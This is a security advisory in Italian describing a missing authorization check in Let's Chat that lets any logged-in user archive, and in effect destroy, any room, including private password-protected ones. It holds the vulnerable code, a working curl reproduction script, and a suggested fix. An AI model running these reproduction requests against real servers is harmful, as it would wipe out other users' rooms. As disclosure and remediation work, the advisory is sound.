Advisory di Sicurezza: Controlli di Accesso Insufficienti Consentono la Cancellazione Non Autorizzata di Stanze (Let's Chat)

ID CVE assegnato: CVE-2026-66751

Riepilogo

DELETE /rooms/:room non esegue alcun controllo di autorizzazione oltre a richiedere un accesso. Qualsiasi account può archiviare qualsiasi stanza sul server, incluse le stanze private protette da password che lo stesso account non è autorizzato a leggere, visualizzare o modificare.

L'archiviazione è il modo in cui Let's Chat elimina le stanze. La stanza scompare dall'elenco delle stanze, le ricerche dirette restituiscono 404 e l'invio di messaggi o il caricamento di file viene rifiutato. Non esiste alcun percorso nel codice dell'applicazione che possa annullare questa operazione.

Versioni interessate

URL del repository: https://github.com/sdelements/lets-chat

Vulnerabile dalla 0.3.0 (commit 5b5f46f, 2 gen 2015, "Rooms are archived, instead of deleted") fino alla 0.4.8, l'ultima release. Non esiste una versione corretta.

Le stanze private e protette da password sono arrivate nella 0.4.0, quindi il caso in cui un attaccante distrugge una stanza i cui contenuti non può vedere si applica dalla 0.4.0 in poi. Il controllo mancante stesso risale alla 0.3.0.

Confermato sulla 0.4.8 al commit 617207f e su docker.io/sdelements/lets-chat:latest (0.4.7).

Classificazione

CWE-862: Autorizzazione mancante.

Punteggio base CVSS 4.0: 5.3 (Medio) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Modello di minaccia

L'attaccante ha bisogno di un normale account utente e dell'accesso di rete alla porta HTTP. Non deve possedere la stanza, esserne membro, conoscerne la password o detenere alcun ruolo privilegiato. La registrazione autonoma è abilitata di default (auth.local.enableRegistration in defaults.yml).

La selezione del bersaglio non costa nulla. GET /rooms elenca le stanze protette da password a ogni utente per progettazione, quindi l'attaccante può leggere l'elenco completo degli id delle stanze e archiviare ciascuna di esse.

Dettaglio tecnico

La route richiede un accesso e risolve la stanza, e nient'altro. app/controllers/rooms.js:99-109:

app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

L'handler passa a valle solo un id di stanza. Non esamina mai req.user. app/controllers/rooms.js:217-232:

archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

Il manager non accetta argomenti relativi all'utente, quindi non può verificare la proprietà nemmeno in linea di principio. app/core/rooms.js:123-137:

RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

Il percorso di aggiornamento adiacente verifica invece la proprietà, ed è ciò che fa sembrare questo problema una svista piuttosto che una scelta deliberata. app/core/rooms.js:89-91:

if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

Il client concorda con la lettura più restrittiva. media/js/views/room.js:28-31 decide chi vede il controllo di modifica, e il pulsante Archive Room si trova all'interno del modale di modifica che questo controllo apre:

var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

Per una stanza protetta da password, un non proprietario non vede mai il pulsante. La restrizione esiste solo nel browser.

Riproduzione

Richiede rooms.private: true (o LCB_ROOMS_PRIVATE=true) affinché le stanze private possano essere create. Il controllo mancante stesso si applica a ogni stanza indipendentemente da questa impostazione.

BASE=http://localhost:5000

# Due account non correlati.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# La vittima crea una stanza privata protetta da password. Nota l'id restituito.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id dalla risposta precedente>

# L'attaccante non può leggerla né modificarla.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# L'attaccante la archivia comunque.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# Il proprietario non può più raggiungere la propria stanza.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

Impatto

Dopo la richiesta, la stanza scompare da GET /rooms per ogni utente, GET /rooms/:id restituisce 404 e messages:create e files:create la rifiutano (app/core/messages.js:28-30, app/core/files.js:55-57). Nulla in app/ imposta archived di nuovo a false, quindi il recupero richiede l'accesso diretto al database.

Correzione suggerita

Passare il chiamante al manager e verificare la proprietà prima dell'archiviazione, come fa già update. In app/controllers/rooms.js:217:

archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

e in app/core/rooms.js:123, dopo il controllo if (!room):

if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}